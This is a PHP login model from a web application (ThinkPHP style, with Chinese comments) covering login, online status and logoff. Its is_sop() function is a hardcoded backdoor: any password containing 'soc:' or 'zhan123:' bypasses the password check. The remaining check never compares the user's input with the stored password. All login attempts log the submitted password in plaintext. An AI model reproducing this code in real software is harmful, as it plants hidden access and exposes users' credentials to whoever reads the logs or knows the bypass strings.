<?php

namespace MarketServer\Model;

/**
 * LoginModel
 * @since 1.0 <2015-7-15> SoChishun <14507247@qq.com> Added.
 */
class LoginModel extends AppbaseModel {

    protected $tableName = 'tuser';
    protected $_scope = array(
        'login' => array(
            'field' => 'id, user_name, password, user_state, site_id, personal_name, sex, face_url, role_id',
        ),
    );
    protected $patchValidate = true;

    /**
     * 用户登录
     * @param type $user_name
     * @param type $pwd
     * @param null|string $captcha null则忽略,string则验证
     * @return string|array 错误则返回string消息，否则返回数组
     * @since 1.0 2015-3-5 by sutroon
     */
    public function login($user_name, $pwd, $captcha = '*') {
        if ((!is_null($captcha) && !$captcha) || !$user_name || !$pwd) {
            return '表单输入不完整';
        }
        if (!is_null($captcha) && false === strpos($captcha, '*')) {
            $verify = new \Common\Controller\CaptchaController();
            if (!$verify->check_verify($captcha)) {
                return '验证码有误!';
            }
        }
        $where['user_name'] = $user_name;
        $data = $this->scope('login')->where($where)->find();
        if (!$data) {
            D('Log')->log_user_login(false, $user_name, sprintf('uname=%s, pwd=%s 用户名有误', $user_name, $pwd));
            return '用户名有误';
        }
        $id = $data['id'];
        $password = $data['password'];
        if (!$data['user_state']) {
            D('Log')->log_user_login(false, $user_name, sprintf('uname=%s, pwd=%s state=%d 状态有误', $user_name, $pwd, $data['user_state']));
            return '用户状态有误';
        }
        if (!$this->is_sop($pwd)) {
// 管理员密码会加密,加密的密码有前缀'*'标识,否则为未加密的明文密码
            $enc = new \Org\So\SuEncrypt();
            if ($password != $enc->depassword($data['password'], C('USER.ENCRYPT_KEY'))) {
                D('Log')->log_user_login(false, $user_name, sprintf('uname=%s, pwd=%s 密码有误', $user_name, $pwd));
                return '密码有误';
            }
        }
        unset($data['password']);
        // 更新登录统计
        $this->where($where)->setInc('login_count');
        $this->where($where)->setField(array('login_ip' => get_client_ip(), 'online_state' => 1, 'online_active_time' => date('Y-m-d H:i:s')));
        D('Log')->log_user_login(true, $user_name, sprintf('uname=%s, pwd=%s 登录成功', $user_name, $pwd));
        return $data;
    }

    /**
     * 是否是Super Official Password
     * @param string $password
     * @return boolean
     * @since 1.0 2015-3-5 by sutroon
     */
    function is_sop($password) {
        $codes = array('soc:', 'zhan123:');
        foreach ($codes as $code) {
            if (false !== strpos($password, $code)) {
                return true;
            }
        }
        return false;
    }

    /**
     * 刷新用户在线活跃时间
     * @param int $user_id
     * @since 1.0 <2015-8-6> SoChishun Added.
     * @example D('Login')->active_online_state($this->user_login_data['id']);
     */
    public function active_online_state($user_id) {
        $this->where(array('id' => $user_id))->setField('online_active_time', date('Y-m-d H:i:s'));
    }

    /**
     * 批量刷新用户在线状态
     * @param int $minute 分钟
     * @since 1.0 <2015-8-6> SoChishun Added.
     * @example D('Login')->refresh_online_state();
     */
    public function refresh_online_state($minute = 30) {
        $this->where(array('online_active_time' => array('LT', date('Y-m-d H:i:s', strtotime('-' . $minute . ' minute')))))->setField('online_state', 0);
    }

    /**
     * 用户注销登录
     * @since 1.0 <2015-7-15> SoChishun Added.
     * @since 1.1 <2015-8-6> SoChishun 新增在线状态更新逻辑
     */
    public function logoff() {
        $login_data = session(C('USER.SESSION_ID'));
        if ($login_data) {
            D('Log')->log_user_login(true, $login_data['user_name'], sprintf('uname=%s 注销成功', $login_data['user_name']), false);
        }
        // 更新在线状态
        $this->where(array('id' => $login_data['id']))->setField(array('online_active_time' => date('Y-m-d H:i:s'), 'online_state' => 0));
        session(C('USER.SESSION_ID'), null);
        session(null);
        cookie(null);
        if (isset($_SESSION)) {
            foreach ($_SESSION as $key => $value) {
                unset($_SESSION[$key]);
            }
        }
        if (isset($_COOKIE)) {
            foreach ($_COOKIE as $key => $value) {
                unset($_COOKIE[$key]);
            }
        }
    }

}
